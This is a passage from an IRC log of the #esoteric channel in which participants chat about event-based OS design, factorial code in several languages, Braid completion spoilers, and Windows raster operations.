reference to a kernel resource, and will always refer to the same resource (unlike, say, a filename or a pid) < 1395546460 487531 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what would it look like to design an OS explicitly for event-based programming < 1395546678 654802 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1395546805 498858 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1395547191 458683 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I don't know how it would look like < 1395547377 136283 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :foo_dumb sounds like shit :( < 1395547511 359943 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :kmc: message passing? < 1395547529 405389 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Or do you want fancy shit like the kernel calling your event handlers < 1395547581 260130 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :On the other hand, Pentagonal Dreams + Gapless repeat = good < 1395547654 678843 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :the "x-kernel" is kind of event based < 1395547671 333798 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :also arent most message passing microkernels kind of event-based? < 1395547729 311957 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :No, microkernel threads usually wait on one channel at a time < 1395547869 775105 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :ahh, you want kernel->user activations that do rely on having a pool of threads waiting to receive something, i guess? < 1395547958 878797 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Well, you could be crazy and make kernel upcalls spawn new threads < 1395547993 23434 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :That's not "event based programming" though < 1395548257 521616 :nooodl!~nooodl@214.99-242-81.adsl-dyn.isp.belgacom.be QUIT :Ping timeout: 240 seconds < 1395548596 97246 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :If you only write code at parties, does that make you an event based programmer < 1395548644 263530 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :if you only write code at parties and also never go to parties, then you are presumably not a programmer, event-based or otherwise < 1395548645 659986 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I bought a shirt http://www.zazzle.com/its_handy_t_shirt-235558875629678746 < 1395548782 89043 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have actually read of some system where every subroutine call spawns a new thread. < 1395548829 350448 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :is the lower left one Ada? < 1395548852 199149 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :or Algol, something like that but not Pascal < 1395548900 158285 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I think it's some BASIC < 1395548904 23531 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :First thought was VB < 1395548925 357821 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Assigning to the name of the function < 1395548925 989154 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh maybe < 1395548945 39697 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes I think it is BASIC < 1395548958 766435 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395548968 32227 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It looks like it to me. < 1395549120 334671 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :There is room they could easily put more programming languages too, such as Haskell, SQL, shell scripts, and others. < 1395549178 889475 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Haskell is on there < 1395549198 190809 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :That's how I found the shirt in the first place, searching for Haskell < 1395549201 184559 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :O, yes it is < 1395549205 116702 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :After having given up on finding a polyglot shirt < 1395549206 940823 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I didn't notice that at first < 1395549217 85483 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It is written small < 1395549237 225871 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :And perhaps they could add Pascal too, even. < 1395549258 8639 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :And, Forth. < 1395549381 554124 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Especially Forth. < 1395549425 177119 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :trouble is, you're going to need magnifiers to read the t-shirt :P < 1395549461 924972 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Picture looks like there is room to add some stuff, if the text is move up a bit. < 1395549518 493723 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :You can actually change the shirt < 1395549522 614237 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Anyways the code won't be very long in many cases < 1395549697 910429 :prooftechnique!~NihilistD@174.63.103.117 PRIVMSG #esoteric :I feel like that Prolog one could be improved < 1395549728 890482 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :prooftechnique: OK, show me how then < 1395549731 617813 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :: FACTORIAL ?DUP IF DUP 1- RECURSE * ELSE 1 THEN ; < 1395549749 314894 :prooftechnique!~NihilistD@174.63.103.117 PRIVMSG #esoteric :Well, the N > 0 is unnecessary < 1395549761 459156 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :WITH X(X,Y) AS (SELECT 1,1 UNION ALL SELECT X+1,Y*(X+1) FROM X LIMIT ?1) SELECT Y FROM X ORDER BY X DESC LIMIT 1; < 1395549771 813253 :prooftechnique!~NihilistD@174.63.103.117 PRIVMSG #esoteric :I guess that's really the only improvement < 1395549782 928800 :prooftechnique!~NihilistD@174.63.103.117 PRIVMSG #esoteric ::D < 1395549805 652874 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :prooftechnique: I don't know much about Prolog. < 1395549854 388680 :prooftechnique!~NihilistD@174.63.103.117 PRIVMSG #esoteric :Though I guess that's fine, since these aren't all semantically equivalent, so the extra comparison isn't that iffy < 1395549879 163765 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Shouldn't the C one be much longer < 1395549909 32458 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Jafet: The one given looks OK though < 1395549962 376496 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395549967 484772 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :This one in SQL is slightly wrong because it fails to give any result at all if you input zero. < 1395550012 917511 :prooftechnique!~NihilistD@174.63.103.117 PRIVMSG #esoteric :i.e., C => factorial(-1) = 1, Prolog => fak(-1, R) = error, Haskell => fac (-1) = -inf < 1395550088 216421 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Factorial of negative integers is not defined mathematically anyways. < 1395550114 264011 :prooftechnique!~NihilistD@174.63.103.117 PRIVMSG #esoteric :Well, sure, I'd just like some consistency :D < 1395550142 308208 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :why bother with consistency there < 1395550145 779976 :prooftechnique!~NihilistD@174.63.103.117 PRIVMSG #esoteric :Or just go all out and write Gamma < 1395550255 659231 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Factorial of negative number is possible, as long as they aren't integers. < 1395550634 48140 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :zzo38, although not in the way factorials are generally calculated < 1395550719 213878 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :You could define (-n)! as (-1)^n/n!. Who needs analytic continuations anyway. < 1395551343 338912 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric ::\ < 1395551496 905220 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :Jafet: but don't you want 0! = 0*(-1)! ? < 1395551584 550431 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :no that's silly < 1395551589 159155 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :0!=1 as it should be < 1395551597 403753 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :yes of course < 1395551608 663384 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :obviously to get (-1)! you divide 0! by 0 < 1395551614 74823 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :We can just skip zero and pretend it never happened < 1395551637 168652 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :well it worked for the julian calendar < 1395551639 209339 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :\mathbb{R}* < 1395551653 462940 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :pi! < 1395551657 535779 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :uh, i think you mean \mathbb{Z}* < 1395551670 323212 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :since you disavowed analysis < 1395551688 842132 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Ok, but we need Q for the negative continuation < 1395551693 102089 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :0!=all real numbers < 1395551705 173355 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :(we disavow functionness) < 1395551792 169538 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hmm, http://www.eternal-september.org/ doesn't look too healthy < 1395551793 965477 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :okay people what game do i play next < 1395551796 126158 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :what's a little ill-definedness between friends < 1395551831 70675 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :what game have you been playing so far? < 1395551832 730234 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :quintopia: does it have to be a game that exists? < 1395551848 351550 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :if not, I recommend Little Arrow Theory, which will be at least mildly interesting if I ever get around to writing it < 1395551865 953730 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Is it a feathered arrow < 1395551871 357371 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :it has to be one of the following: braid, bastion, amnesia, limbo, lone survivor, super meat boy < 1395551890 343298 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :braid was pretty good < 1395551894 345544 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oh, hmm… braid and bastion are both pretty good < 1395551908 164554 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :braid is p. good < 1395551909 278800 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I've 100%ed both, even though 100%ing braid is stupid < 1395551915 697700 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I liked Braid. Haven't played Bastion < 1395551919 927159 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it does have a bunch of pretentiousness but it's mostly ignorable < 1395551922 985434 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I enjoyed Bastion < 1395551926 750952 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i could never convince myself to get more than maybe half an hour into bastion < 1395551933 695441 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Bastion is also moderately pretentious, I guess < 1395551935 101953 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :why is 100%ing braid stupid? i like 100% things < 1395551940 282985 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Couldn't get in the hang of Braid < 1395551942 486502 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :it seems to become boring quickly < 1395551945 626312 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :quintopia: time < 1395551951 604654 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :afterward playing braid i dreamt that i was at the airport and missed my flight, and pressed shift to go back and catch it. and the TSA helpfully marked my boarding pass with sparkly green ink so i wouldn't have to have it checked again. < 1395551951 719547 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :quintopia: there's one part where you have to do noting for two hours, also alt-tabbing doesn't work < 1395551954 41545 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :quintopia: there's a thing where you need to wait two hours to get it < 1395551976 132784 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ais523: can you walk away from the game and set an alarm for yourself? < 1395551977 712271 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :and also parts of it are so well-hidden that i don't think you have much of a hope of finding them without looking them up < 1395551981 169751 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :lexande: my favourite bit of Braid: there's a speedrun mode, with a timer < 1395551984 95424 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :quintopia: sure, that works < 1395551991 500003 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :shachaf: eh i don't mind cheating to 100% things :) < 1395551999 717774 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :lexande: and I thought that, because it times everything you do, shouldn't it be in green? < 1395552009 958143 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and I looked at it really carefully, and it does indeed have faint green sparkles on it < 1395552023 562799 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :makes sense < 1395552040 629816 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Play Thousand Dollar Soul < 1395552047 250969 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :it took me around 30 hours to 100% psychonauts < 1395552062 883354 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :around maybe thrice that to 100% super mario sunshine < 1395552069 933083 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :100%ing braid seems dubious yeah < 1395552094 811018 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i do like some of the bonus star puzzles < 1395552101 983183 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :though i just 4096'd 2048, which is probably more dubious < 1395552107 209412 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :100%ing Braid is not meant to be possible without spoilers; in fact, you're not even meant to discover that higher percentages exist without spoilers < 1395552111 433157 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :but there's no indication that they exist and even knowing that they exist it takes a long time to time everything just right to get them < 1395552112 946558 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :lexande: damn < 1395552132 707602 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :probably the minimum level of spoiling that makes it possible is "100% is a thing that can be done" < 1395552153 50314 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the minimum level of spoiling that makes it reasonable (but still very difficult) is a list of the levels on which you have to perform different actions to get percentage < 1395552166 449114 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :oh, and you have to perform a particular action early on < 1395552173 705967 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :The links to the music is broken :( < 1395552182 348344 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ais523: i want the maximum level of spoilage :P < 1395552184 656723 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :or, at least, there's an action you need to take to finish the game that makes it impossible to 100% the game < 1395552195 595989 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :quintopia: I rarely spoil people in public, because other people might be caught in the blast < 1395552208 272355 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ais523: i figure googling it would work :P < 1395552213 441006 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also I can hardly remember at this point, go look up GameFAQs :-) < 1395552220 590292 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :if you want maximum spoilers you can look it up easily enough < 1395552236 150075 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :talking to people is good for situation-aware spoilers < 1395552239 837981 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the level of spoiling I recommend for 100%, btw, is "here are the locations you have to reach, figure out how", apart from a couple of them, screw those < 1395552256 60706 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :like the rabbit one? < 1395552279 347904 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ais523: that seems about right < 1395552282 721455 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :maybe that's too much spoilers < 1395552292 140671 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :ais523's level of spoilers would have been nice, though. < 1395552307 865368 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :nah, the rabbit one is actually clever < 1395552316 274931 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ais523: does #nethack count as in public for NetHack? < 1395552324 234099 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Sgeo: it's a spoiled channel < 1395552327 213813 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :so I spoil in public there < 1395552353 768065 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :for psychonauts, i wished there was a "list of things you can do to trigger reactions/cutscenes, when and where you need to be" < 1395552355 253507 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Where do people go if they don't want spoilers but the game isn't working for them? < 1395552360 396525 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Technical but not gameplay assistance? < 1395552371 824189 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :PM, normally < 1395552389 553724 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :or just asking the query quickly and leaving < 1395552398 639973 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :NetHack spoilers often aren't so useful out of context anyway < 1395552406 675525 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :ACTION tries to remember the rest of the secret braid locations < 1395552431 311977 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hmm, can I create hints generic enough that they don't give away anything unless you already know where they are? < 1395552442 529521 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :because as difficult as 100%ing psychonauts is, it's trivial compared to "trigger all reactions/cut scenes that can be triggered without a cheat code" < 1395552461 246179 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :shachaf: we've mentioned three so far, and you almost certainly know where number 8 is < 1395552492 956720 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :meaning the last one? < 1395552514 477099 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yes < 1395552528 26243 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :zero knowledge hints < 1395552594 636857 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :nice, emscripten has source maps http://people.mozilla.org/~lwagner/gdc-pres/gdc-2014.html#/27 < 1395552609 211639 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :so you can view and debug C or C++ code in the browser console < 1395552631 399605 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :OK, I guess that had several mostly unguessable bits. < 1395552665 57176 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :there is nothing unguessable about number 8, it is by far the clearest one about what you have to do < 1395552675 396373 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :now, the fun part is: reach the star location /without/ unlocking it < 1395552684 275969 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :speedrunners do that all the time because it's faster than the regular way < 1395552749 563568 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Hmm. < 1395553024 935831 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Tell me if there are any commands you think I have missed in the Digi-RGB-Plus specification? < 1395553042 790669 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :zzo38: would it benefit from a COME FROM command? < 1395553047 703405 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :actually, probably it wouldn't < 1395553048 637494 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395553062 231829 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395553065 687135 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :ais523: It isn't a programming language, so a COME FROM command wouldn't do anything. < 1395553076 407934 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :right < 1395553090 715242 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :zzo38: can you get the current time < 1395553181 116394 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :quintopia: You probably could *set* the current time using the "LOAD CONFIGURATION" command, and could display the time using the OSD command, although there is no way to get the current time otherwise, and that isn't what it is designed to do anyways, so it isn't necessary. < 1395553201 146193 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Anyway, factorial in C: int*f(int n, int*d){ int s = n*log(n+1)+1, *a = calloc(s,sizeof*a), i,c; if(a){ *a=*d=1; for(;n>1;--n){ c=0; for(i=0;i<*d;++i) c+=a[i]*n, a[i]=c%10, c/=10; while(c) a[(*d)++]=c%10, c/=10; }} return a; } < 1395553363 299545 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Jafet: OK < 1395553595 416247 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Could actually be shorter: for(i=0;i<*d||(c&&++*d);++i) c+=a[i]*n, a[i]=c%10, c/=10; < 1395553770 833522 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Digi-RGB-Plus control signal is a 1200,8,N,1 serial signal in the opposite direction from all of the other signals (video and audio). The codes go in four groups: Text control codes, Printable characters (in EIA-608 encoding), Remote control buttons, System control codes. < 1395553979 905221 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(It isn't actually EIA-608; it is a subset which uses only single-byte encoding.) < 1395554246 568418 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have sixteen codes in "Remote control buttons" which are not currently assigned; maybe you know what to assign there, and/or if any ones that are already assigned are redundant? < 1395554303 821852 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(Four of them are assigned as "EXTRA FUNCTION A" to "EXTRA FUNCTION D".) < 1395554408 588565 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395554426 253575 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1395554442 143996 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395554597 588730 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :now i've watched a braid speedrun < 1395554601 994824 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :thais523 < 1395554611 394248 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yw < 1395554654 222827 :ion!ion@heh.fi PRIVMSG #esoteric :URL please < 1395554681 315419 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :http://www.youtube.com/watch?v=OzvFAZ6_G3w < 1395554693 156553 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 246 seconds < 1395554843 802168 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Braid 100% speedrun? < 1395554845 62361 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :>:D < 1395554859 295510 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Sgeo: there have been people seriously talking about 75% < 1395554884 446309 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Being everything except the 2-hour star and the last star? < 1395554913 961294 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yes < 1395554955 70884 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :actually, there are only two really bad stars < 1395554966 920586 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the 2-hour star, and the one you can permanently lock yourself out of < 1395554976 697119 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :not just for the permanent lock, but because the thing you have to actually do is stupid < 1395554983 935503 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :That one doesn't seem that bad time-wise. < 1395554992 893598 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Oh, you mean for discoverability? Sure. < 1395554993 615448 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it isn't < 1395554998 350526 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :not just discoverability < 1395555003 171887 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :even if you know what to do, it still sucks < 1395555014 374780 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and you normally need multiple tries despite the task not being interesting once you know what it is < 1395555113 860567 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :That's true for many of the puzzles. < 1395555475 729063 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1395556362 750709 :prooftechnique!~NihilistD@174.63.103.117 QUIT :Quit: leaving < 1395557951 677404 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Fun fact: The Internet Archive seems to have archived a bunch of Dexterity Software demo installers < 1395557978 380338 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :And yes, this fact is, in fact, fun. < 1395558014 801448 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Fun fact: I haven't slept < 1395558021 531264 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :And it is 7 AM < 1395558039 739216 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Actually, no, I slept from 10 to 1:30 < 1395558142 920603 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Ping timeout: 265 seconds < 1395558496 279165 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://web.archive.org/web/*/http://dexterity.fileburst.com/* < 1395558771 494711 :password2!~password@197.78.166.228 JOIN :#esoteric < 1395561192 737890 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu QUIT :Remote host closed the connection < 1395561229 787282 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu JOIN :#esoteric < 1395562484 799937 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395563499 692522 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Why does ternary raster operations in Windows use both multiplex and RPN codes? (Windows only uses the multiplex codes; I have confirmed this; WineHQ says the same thing, and I have decided to test this.) < 1395563600 512554 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Microsoft calls the multiplex codes the "boolean operation index" and the RPN codes the "operation code" (they are really a kind of RPN codes though, described on WineHQ). < 1395564233 311485 :ais523!~ais523@unaffiliated/ais523 QUIT : < 1395565402 395939 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395565657 469597 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1395566273 606156 :nisstyre_!~yourstrul@oftn/member/Nisstyre QUIT :Quit: bai < 1395566457 976187 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Ping timeout: 240 seconds < 1395567424 96102 :Zom-B!~Zom-B@143.177.41.147 JOIN :#esoteric < 1395568445 832872 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1395568662 167136 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :WineHQ says "If you are implementing the raster operations, then decoding the low 16 bit value may be better than having a huge switch statement that picks a set of operations based on one of the 256 valid high word values." I expect that the switch statement would be faster though, if placed outside of the loop. If you have hardware multiplex support then you don't need that either (although I don't think x86 has it?) < 1395569265 591254 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :A 256-ary switch sounds great for jump predict/microop cache < 1395569265 685991 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :What is a hardware multiplex? < 1395569328 363279 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :x86 has an indirect jump, which compilers should use when compiling switch statements over longer consecutive ranges. < 1395569354 87952 :quintopia!~quintopia@unaffiliated/quintopia QUIT 